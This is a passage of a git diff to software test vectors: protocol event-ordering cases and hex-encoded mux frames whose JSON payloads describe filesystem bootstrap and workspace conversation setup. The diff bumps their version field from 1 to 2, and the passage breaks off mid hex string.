[ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": true + } + }, + { + "name": "conversations-before-shares-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "conversations" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-after-conversations", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "conversations" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-before-mounted", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 4, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-without-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "up", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 5, + "reason": "out_of_order" + } + }, + { + "name": "shares-twice", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "shares-mounted-travelling-down", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "down", + "t": "shares_mounted" + } + ], + "result": { + "ok": false, + "index": 6, + "reason": "out_of_order" + } + }, + { + "name": "fault-answering-shares", + "events": [ + { + "dir": "up", + "t": "hello" + }, + { + "dir": "down", + "t": "plan" + }, + { + "dir": "up", + "t": "receipt" + }, + { + "dir": "down", + "t": "ready" + }, + { + "dir": "up", + "t": "mounted" + }, + { + "dir": "down", + "t": "shares" + }, + { + "dir": "up", + "t": "fault" + } + ], + "result": { + "ok": true + } } ] } diff --git a/apple/Cowork/WinterCoworkGuest/vectors/mux-frames.json b/apple/Cowork/WinterCoworkGuest/vectors/mux-frames.json index 40112396a..830afae35 100644 --- a/apple/Cowork/WinterCoworkGuest/vectors/mux-frames.json +++ b/apple/Cowork/WinterCoworkGuest/vectors/mux-frames.json @@ -47,42 +47,42 @@ { "name": "bootstrap-up-hello", "direction": "up", - "hex": "574d583101010000010000008c0000007b2276223a312c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", + "hex": "574d583101010000010000008c0000007b2276223a322c2274223a2268656c6c6f222c226775657374426f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226461746153657269616c223a2277696e7465722d64617461222c22656e7669726f6e6d656e7453657269616c223a2277696e7465722d656e7669726f6e6d656e74227d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-down-plan", "direction": "down", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d583101010000010000006e0600007b2276223a322c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 1 }, { "name": "bootstrap-up-receipt", "direction": "up", - "hex": "574d58310101000002000000840900007b2276223a312c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", + "hex": "574d58310101000002000000840900007b2276223a322c2274223a2272656365697074222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c2272656365697074223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a2264617461222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6262626262626262227d2c7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a383538393933343539322c22636865636b6564223a747275652c226372656174696f6e4964223a226372656174696f6e5f6363636363636363222c22657870656374656446696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c2266696c6573797374656d426c6f636b4279746573223a343039362c2266696c6573797374656d4665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c2266696c6573797374656d54797065223a2265787434222c2266696c6573797374656d55554944223a2236363636363636362d373737372d343838382d383939392d616161616161616161616161222c22666c757368436f6e6669726d6564223a747275652c2266756c6c526561644f6e6c79436865636b223a66616c73652c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a223138343436373434303733373039353531363135222c226d6f6465223a3338342c22756964223a3530317d2c226a6f75726e616c5265706c6179223a226e6f6e65222c226a6f75726e616c5265706c61796564223a66616c73652c22707572706f7365223a22656e7669726f6e6d656e74222c2272656164794f7065726174696f6e4964223a6e756c6c2c22736563746f724279746573223a3531322c227472616e7369656e7446696c6573797374656d4665617475726573223a5b5d2c22766f6c756d654964223a22766f6c756d655f6464646464646464227d5d2c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d7d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-fault", "direction": "up", - "hex": "574d58310101000003000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000003000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-ready", "direction": "down", - "hex": "574d583101010000020000007e0000007b2276223a312c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d583101010000020000007e0000007b2276223a322c2274223a227265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 2 }, { "name": "bootstrap-up-mounted", "direction": "up", - "hex": "574d58310101000004000000800000007b2276223a312c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "hex": "574d58310101000004000000800000007b2276223a322c2274223a226d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "bootstrap", "seq": 4 }, @@ -124,42 +124,42 @@ { "name": "bootstrap-down-conversations-guided", "direction": "down", - "hex": "574d58310101000003000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000003000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "class": "bootstrap", "seq": 3 }, { "name": "bootstrap-down-conversations-tools-only", "direction": "down", - "hex": "574d583101010000040000006a0500007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e